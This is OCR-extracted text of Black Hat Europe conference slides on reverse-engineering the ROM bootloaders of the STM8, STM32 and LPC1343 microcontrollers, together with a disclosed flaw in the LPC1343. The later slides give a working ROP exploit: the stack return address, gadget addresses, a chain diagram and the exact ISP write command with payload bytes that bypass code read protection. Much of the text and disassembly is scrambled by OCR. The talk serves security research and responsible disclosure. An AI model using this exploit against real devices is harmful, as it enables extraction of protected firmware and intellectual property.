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« Aftackers have physical access to loT/Embedded devices
« Companies put locks in the devices called Code Protection

« The ROM bootloader is responsible for checking it code

protection is enabled
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Brief of our Research black hat
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 We analyzed the bootloaders of three widely used
microcontrollers: STM8, STM32, and LPC1343

 We found a critical vulnerabillity in the LPC 1343 bootloader

« No appropriate checks for the code protection

« To the best of our knowledge, the STM8 and STM32

bootloaders are secure against logical attacks



How Do Embedded Bootloaders Worke
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Run User Code

Execute CMD
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Dumping the Bootloader black hat
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reserved =
Ox1FFF 4000
' 16 kB boot ROM
Memory Mapping 0x1FFF 0000
reserved i
unsigned char *Addr;
Code s for(Addr=(unsigned char x)0x 0;Addr<=(unsigned char x)0x1 FF;Add r++)

{
}

printf("%02X",*Addr);
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Results for STM-8 black hat
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 Blocks communication with the boofloader when code
protection is enabled
» Loads the option byte from its region (0x004800)

 Checks if the loaded value equals to OxAA

0x00601f: cb6 48 00 ld A, $4800 Option Byte Loading
0x006022: al aa Cp A, #9$2a ¢ Option Byte Comparison
0X006024: 27 07 Jreq $2d _IhvokeBootIoader
0x006026: cd 64 54 call $6454

0x006029: ac 00 80 00 jpf $8000 — RunUserCode
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« A global code protection checking function that is called at

the beginning of every command function

« Does not allow writing in memory even with the lowest code

protection (RDP) level

« User code can access specific areas in RAM

HE————— BEGINNTING O F PROCEDURE ===

Write CMD:
push.w {r4, r5, r6, r7, r8, lr} ; CODE XREF=USART Bootloader+232
bl RDP_Function ; RDP_Function

cbnz ro, Stop_Command (e ————
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« Chris Gerlinsky (@akacastor) did research on the LPC1343
« He managed to break CRP1 via a glitfching attack

 He found that CRP checks are done using the loaded CRP
value in RAM at address 0x10000184

Ox1fff0ab4
Ox1fff0ab6
Ox1fff0a68
Ox1fff@aba
Ox1fff@abc
Ox1fffoabe

CRP_Check:
ldr
ldr
ldr
ldr
cmp
bne

RAM Address
ro, | =0x10000184 < ————
rl, =CRP 1
ro, [ro]
rl; Irll
[B: Td

loc_1fff@a8e




LPC 1343 Code Read Protection

blgt’:k hat

EURORPE 20139

ISP command CRP1

Unlock yes

Set Baud Rate yes

Echo yes

Write to RAM yes; above 0x1000 0300
only

Read Memory no

Prepare sector(s) for yes

write operation
Copy RAM to flash
Go

Erase sector(s)

Blank check sector(s)
Read Part ID

Read Boot code version
Compare

ReadUID

yes; not to sector 0
no

yes; sector 0 can only be
erased when all sectors are
erased.

no
yes
yes
no

yes

CRP2

yes
yes
yes

no

no

yes

no
no

yes; all sectors
only

no
yes
yes
no

yes

CRP3 (no entry in ISP
mode allowed)

n/a
n/a
n/a

n/a

n/a

n/a

n/a
n/a

n/a

n/a
n/a
n/a
n/a

n/a
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» Critical vulnerability in the LPC1343 write to RAM command,

which lead 1o break the code protection
« Checks that write does not write to bootloader RAM

« But no check if the write address is in the stack area |



LPC 1343 Stack
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Ox1000 2000

Ox1000 0300
Ox1000 0000

Flash Programming CMDs

Stack Area

The rest of the RAM

CRP
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LPC 1343 Command Handler black hat
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T ¥ p
Command_Allowed : (¢ ——
bl someISPCommandsConfig ; someISPCommandsConfig, CODE XREF=ISP_command_handler+1
b loc_1fffofca
Command_Blocked: (——
movs r2, #oxf ; argument #3, CODE XREF=ISP_command_handler+126
movs ro, #0x13 ; argument #1
ldr rl, [r5, #0x4] ; argument #2
bl sub_1fffld6c+42
bl serial_tx_str_(send a string with CR/LF at the end) ; serial_tx_str_(send a sti
\b loc_1fffofc4
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CRP_Check:

ldr ro, =0x4003c000 ; dword _1fffef8c, CODE XREF=ISP W(write) Command+22, ISP _W(wri;
ldr r2, [ro]

movs rl, #0x40

orrs r2. Tl

str r2, [ro]

ldr r2, =0x10000184 ; dword_1fffof90
ldr ra, =CRP_1 : CRP_1,dword 1fffofo4
ldr r2; [r2l

ldr r3, [r3] : CRP_1

cmp r2, r3

Jump_if_CRP_Off:

bne loc_1fffodab

——

Address_checking(Writing_below_0x10000300_not_allowed(if_CRP_enabled) :_
ldr r2, =0x438 ; dword_1fTT0T98

ldr r3, [sp, #0x28 + var_18]

ldr r2, [r2]

adds r2, #oxff

adds r2, #oxff

adds r2, #0x2

cmp r3, iz

Jump if Address Above 0x10000300: _

bhs loc_1fffodab
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LPC 1343 No Stack Area Protection blackhat
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/
For_loop_to_read_the_input_string:
mov rZ, 'sp ; argument #3 for method sub_1fff1lc86, CODE XREF=ISP_W(write)_Command+252
movs rl, #0x46 ; argument #2 for method sub_1fff1c86
ldr re, =0x100001b4 ; argument #1 for method sub_1fffl1lc86, dword_1fffof88
bl sub_1fff1lc86 ; sub_1ffflc86
cmp ro, #0x0
bne loc_1fff0e4d8
ldr ro, [sp, #0x28 + var_28]
cmp ro, #0x0
beq loc_1fffodfoe
adds rs5, r5, #0x1 “\\\\“\\“\“&\“\“\\“\“\\“\“~H“\“~\“\“\““\“\\\T
add r2, sp, #0x4
ldr ro, =0x100001b4 ; argument #1 for method Write_to_memory, dword_1fff@f88
ldr rl, [sp, #0x28 + var 18]
bl Write_to_memory ; Write_to_memory {—————
adds r4d, ro, r4
ldr rl, [sp, #0x28 + var_18]
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Exploitation without CRP black hat
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« We kept overwriting addresses until we found the retfurn
address which is (Ox10001F54)

e How?

 We fried to branch the code to a function that will just print

some string as a POC
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{ Call the Write command

v

Overwrite the return address with an
address inside the read CMD function

v

Use a ROP gadget to prevent the device
from crashing

v

{Jump to the command handler and then

repeat the exploif
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Write CMD() |0x1fff0e48 add sp, #0x14
s 0x 1 f f0e4da pop {r4, r5, r6, r7, (pch
e
&

Read CMD( ) lox1fffocfa str ro, [sp, #0x20 + var_1C]
— oooooooooo e o 0

Ox1fffod48 pop {rl,; ©2, 3, 4, 3, 8, F7T; @c)

P
Gadget | | V- Our_Lovely_Gadget(Read cmd):
1o0x1fffll7e pop {r4, (pc}
/

Some ISP( ) | 7 S loc_1fff0e80:

[0x17ff0e80 pop {r3, r4, r5, r6, r7
CMD Handler ’| & Command_Handler_Jump:

—‘F0x1fff1060 b CMD_Handler




Exploitation with CRP
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10001F50
10001F60
10001F70
10001F80
10001F90
10001FAO
10001FBO
10001FCO
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Write CMD() |
ey 5 (Rad WD) | [ Rz Read CMD)
R3 R4 RS RO Gadget
R7 PC (Gadget Addr) R4 PC (ISP ()) ]ISP—g
R3 R4 R5 R6
R7 PC (CMD Handler)

CMD Handler Jump(Ox1FFF1061)
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The Full Exploit black hat
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W 268443476 172 <-this sets the write address to Ox10001F54

then UUEncode and send to read from e.g. OxO00002FC:

Write CMD() PC
e B OC FF 1F FF FF FF FF FF FF FF FF

Read Location

) FC 02 00 00 BB 10 FF 1F BB 10 FF 1F

Read CMD() PC
BB 10 FF 1F BB 10 FF 1F 7F 11 FF 1F c—

Gadget PC
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Summary black hat
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« We disclosed our findings to NXP -> documentation update

» Bootloaders are fun and “easy” to reverse-engineer

« Logical vulnerabilities are present in widely used devices

« Off-the-shelf MCUs can be broken with low-cost methods
(for LPC1343 only a $5 serial-to-USB cable)

» Full exploit and other codes can be found here:

hitps.//qgithub.com/qais/44/IPC-ROP
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Thanks!
Questions?

Qais Temeiza (@gaistemeizal)
qaiskhaled744@gmail.com

David Oswald (@sublevado)
d.f.oswald@bham.ac.uk



